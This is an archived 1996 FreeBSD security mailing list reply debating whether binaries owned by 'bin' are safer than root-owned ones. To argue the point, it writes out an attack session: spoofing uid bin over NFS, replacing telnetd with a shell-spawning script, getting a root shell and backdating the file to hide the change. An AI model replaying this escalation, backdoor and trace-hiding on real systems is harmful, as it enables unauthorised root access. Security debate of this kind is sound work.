Date: Wed, 24 Jan 1996 22:55:46 -0800 (PST) From: Nathan Lawson <nlawson@statler.csc.calpoly.edu> To: p.richards@elsevier.co.uk (Paul Richards) Cc: security@freebsd.org Subject: Re: Ownership of files/tcp_wrappers port Message-ID: <199601250655.WAA13034@statler.csc.calpoly.edu> In-Reply-To: <199601242008.UAA19526@cadair.elsevier.co.uk> from "Paul Richards" at Jan 24, 96 08:08:31 pm
next in thread | previous in thread | raw e-mail | index | archive | help
> In reply to Nathan Lawson who said > > > > > Nathan Lawson stands accused of saying: > > > > This "someone" is not well-protected enough to own critical things > > > > like binaries. Until you can prove to me that a bin compromise is > > > > as hard as a root compromise, I won't relent. Consider NFS, > > > > hosts.equiv, and login. None of those will stop a bin intrusion. > > > > If you can log in as bin, login will let you. If you can access a > > > > filesystem via NFS, bin access is allowed while root is mapped to > > > > nobody. Hosts.equiv allows _every_ user except root to access the > > > > equivalent account. > > > > > > Bin has no shell. (See below). Few or no binaries are ever setuid bin. > > The real point against you're argument is segregation of priviliges. > Why give any more privilage to a binary than is necessary. If a binary > doesn't need to be root then don't make it owned by root at all > and then if something goes wrong, like you mistakenly suid a bin binary > and not realise it, the possible damage is less than if it was a root > binary. This is the only argument that is even close to plausible. But if you make a binary setuid bin mistakenly, your system is still compromised. Let's say I get a uid-bin shell. Now, I can copy my little script that makes a setuid root shell in /tmp to /usr/libexec/telnetd. Then, type "telnet localhost" and you get a root shell in /tmp. You haven't bought anything by making everything owned by bin. > This segregation is more to do with protecting sysadmins from > themselves than it is about preventing break-ins Well, it doesn't work, then, because you've still got a root compromise as shown above. >and the added > segragation is *NOT* a potential security hole since those uid's do not > have passwords and therefore *cannot* be cracked in and of themselves. > You *have* to crack root first. The point about bin is that the system > is not owned by an actual user. It seems no one is paying attention to my previous points about how to get the bin access in the first place. To reiterate: NFS, hosts.equiv, and NIS. See my previous mail for exploit examples. None of them require bin to have a crackable password or any password at all. > Another, related point, is that if someone does get access to bin, the > damage they can do is limited to the system binaries, you can't go > trashing other people's files. Nope. Bin access on any site that has binaries owned by bin is instant root access. THEN, you go trash everyone's files. > To be honest, in a break-in situation > the system files are my least concern, if you're security minded you'll > be aware pretty soon if someone is messing with your system files and deal > with it. ---- (use NFS to claim I am uid bin on client) client% nfs -u 3 server:/usr client% cp server:/usr/libexec/telnetd /tmp ---- (my-inetd.sh is a simple shell script that starts inetd on a port with ---- /bin/sh) client% cp my-inetd.sh server:/usr/libexec/telnetd client% telnet server Trying 129.XX.XX.XX Connected to XXXX Escape character is '^]'. Connection closed by foreign host. client% telnet server 7002 Trying 129.XX.XX.XX Connected to XXXX Escape character is '^]'. whoami; root : Command not found cp /tmp/telnetd /usr/libexec; : Command not found touch <old date> /usr/libexec/telnetd; : Command not found ^D Connection closed by foreign host. This is just one example where the system files _should_ be of your concern. Once again, binary files are run by root, some at the will of the user (telnetd in my example). You don't have to wait for root to log in and type "ls" or whatever. My point stands that bin access is easier than root and it is equivalent to root, once obtained. >Detecting damage to users files is more difficult and in many > ways is more important, if someone cracks bin and takes your system down > you have outage while you restore, if someone trashed an users mission > critical data you're in big trouble. In this case, I think an rm -rf / would do both. > Sysadmins make mistakes, if you make a potentially serious mistake with > a bin owned system binary the possible damage is limited to bin owned > files. If you make a mistake with a root owned file it's a different matter. > This is what segregation of privilages is all about. Making a lot more > of the system owned by root just increases the number of potential pitfalls > facing sysadmins. Your point is good, if this wasn't Unix. If you could make a user on a Unix box that could only own binaries, but never execute or write to them, you'd have a better layout of privileges. But this is Unix and we are constrained to the all or nothing world of root access. Root is a better protected account than bin. Once you are root, yes, you can write to root-owned and bin-owned files. But the converse does not hold: once you are bin, you can write to bin-owned files, but not root-owned files. Why go with the account that offers the least security? -- Nate Lawson \Yeah, I was dreaming through the 'howzlife', yawning, car black, Owner: \when she told me 'mad and meaningless as ever...' and a song Cal Poly State \came on the radio like a cemetery rhyme for a million crying University \corpses in their tragedy of respectable existence. - BR
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199601250655.WAA13034>